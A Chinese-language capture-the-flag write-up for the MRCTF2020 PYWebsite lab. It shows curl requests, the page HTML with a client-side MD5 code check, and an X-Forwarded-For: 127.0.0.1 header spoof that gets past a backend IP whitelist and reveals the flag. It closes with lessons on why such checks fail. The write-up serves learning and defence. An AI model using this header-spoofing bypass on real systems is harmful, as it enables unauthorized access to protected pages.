大家好,你们可以叫我凌,是个16岁的网络安全学习者。
今天我们来完成的是 MRCTF2020PYWebsite ,题目并不难,我们就直接开始吧。
解题思路
先启动靶场

还是SSL加密的TCP隧道地址,浏览器访问不了直接上CURL看看。
bash
curl -k https://da4b83ff6efbee51f50bde26.tcp-ctf2.dasctf.com:9999/
返回了以下内容:
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Flag PY Site</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta content="" name="keywords">
<meta content="" name="description">
<!-- Favicons -->
<link href="img/favicon.png" rel="icon">
<link href="img/apple-touch-icon.png" rel="apple-touch-icon">
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css?family=Raleway:900,300,400|Ovo:300,400,500,700" rel="stylesheet">
<!-- Bootstrap CSS File -->
<link href="lib/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- Libraries CSS Files -->
<link href="lib/ionicons/css/ionicons.min.css" rel="stylesheet">
<!-- Main Stylesheet File -->
<link href="css/style.css" rel="stylesheet">
<script type="text/javascript" src="./js/md5.js"></script>
<script>
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
</script>
</head>
<body data-spy="scroll" data-offset="0" data-target="#theMenu">
<section id="home"></section>
<div id="h">
<div class="container">
<div class="row">
<h1>Our Flag is Here!</h1>
<hr class="aligncenter">
<h3>PY or NvZhuang to Get it</h3>
</div>
<!--/row -->
</div>
<!-- /.container -->
</div>
<!--/ H -->
<section id="about"></section>
<div id="w">
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3 centered">
<h4>这个网站是做什么的?</h4>
</div>
</div>
<!--/row -->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered mt">
<p>如您所见,我用WebAC自动机获得了本题目的Flag!</p>
<p>因为最近缺钱买手办,所以Flag不能免费送出哦,需要购买授权码</p>
<p>成功案例:小A刚刚成功购买了flag。详情请见misc题pyflag</p>
</div>
</div>
<!--/row -->
<div class="row centered mt">
<i class="ion-ios-bookmarks-outline"></i>
</div>
<div class="row">
<div class="col-md-6">
<p class="introduction">C</p>
<p class="text">TF是一种流行的信息安全竞赛形式,其英文名可直译为"夺得Flag",也可意译为"夺旗赛"。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。</p>
</div>
<div class="col-md-6">
<p class="introduction">F</p>
<p class="text">LAG,本意是"旗帜"、"信号旗",在这里当作"一种不祥信号"意思使用比如刚说了一句"今天天气不错",然后就下雨了,这就是立flag。
比如男生和室友说一定要追到那个女孩,不达目的不罢休,结果收到一张好人卡。
比如"打完这场仗,我就回家和我的未婚妻结婚",结果死了。
比如"干完这一单,我就金盆洗手",结果被抓了。</p>
</div>
</div>
</div>
<!--/container -->
</div>
<!--/w -->
<section id="buy"></section>
<div id="g">
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3 centered">
<h4>快来购买flag吧!</h4>
</div>
</div>
<!--/row -->
<div class="row mt">
<div class="col-md-6 col-md-offset-3 centered">
<p class="price"><i class="ion-bag"></i></p>
<p class="mb">点击按钮进入支付页面。支付成功后,您会获得授权码。</p>
<p>
<price>66</price>
</p>
<h5>软妹币¥</h5>
<p class="mt"><button class="btn btn-lg btn-theme" onclick="window.location.href='buy.html'">BUY IT NOW</button></p>
</div>
</div>
<!--/row -->
</div>
<!--/container -->
</div>
<!--/g -->
<div id="contact">
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3 centered">
<h4>输入授权码</h4>
</div>
<div class="col-md-6 col-md-offset-3">
<form class="contact-form php-mail-form" role="form">
<div class="form-group">
<input type="name" name="name" class="form-control" id="vcode" placeholder="Your Validation Code">
<div class="validate"></div>
</div>
<div class="form-send">
<button type="submit" class="btn btn-large" onClick="validate()">验证以获取flag</button>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- JavaScript Libraries -->
<script src="lib/jquery/jquery.min.js"></script>
<script src="lib/bootstrap/js/bootstrap.min.js"></script>
<script src="lib/php-mail-form/validate.js"></script>
<script src="lib/easing/easing.min.js"></script>
<script src="js/main.js"></script>
</body>
</html>
观察代码,发现以下重要内容:
html
<script>
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
</script>
先尝试直接访问 flag.php 文件。
bash
curl -k https://da4b83ff6efbee51f50bde26.tcp-ctf2.dasctf.com:9999/flag.php
返回了以下内容:
bash
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<img src="./img/2.jpg" width="300" height="300" />
<h1>拜托,我也是学过半小时网络安全的,你骗不了我!</h1><p>我已经把购买者的IP保存了,显然你没有购买</p><p>验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag</p><a href="index.html" >还不快去买</p><img src = "./img/vx.jpg" ></body>
</html>

里面提到 "除了购买者和我自己,没有人可以看到flag" ,那我们直接伪造请求头欺骗目标尝试突围:
bash
curl -k https://da4b83ff6efbee51f50bde26.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: 127.0.0.1"

这样子,flag就成功出来了!
html
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<img src="./img/2.jpg" width="300" height="300" />
<p>钉!你的flag已到达,请注意查收!</p><p style="color:white">CTF2{690f46da-4898-4295-b832-df014171a30a}</p></body>
</html>
靶场小结
考点标签
HTTP请求头伪造、前端验证绕过、后端IP白名单
核心教训
-
前端验证永远是纸糊的门:任何在浏览器里运行的JS验证(输入检查、按钮禁用、跳转控制)都可以被绕过。后端才是唯一可信的防线。
-
后端IP白名单的脆弱性:后端通过 $_SERVER'REMOTE_ADDR' 或信任 X-Forwarded-For 来校验访问者身份,攻击者只需伪造一个请求头即可冒充管理员。
解题关键步骤
-
直接访问 flag.php,发现后端拒绝访问(提示"只允许购买者或管理员访问")。
-
用 curl -k 目标/flag.php -H "X-Forwarded-For: 127.0.0.1" 伪造本地IP。
-
一句话拿到 Flag:CTF2{690f46da-4898-4295-b832-df014171a30a}。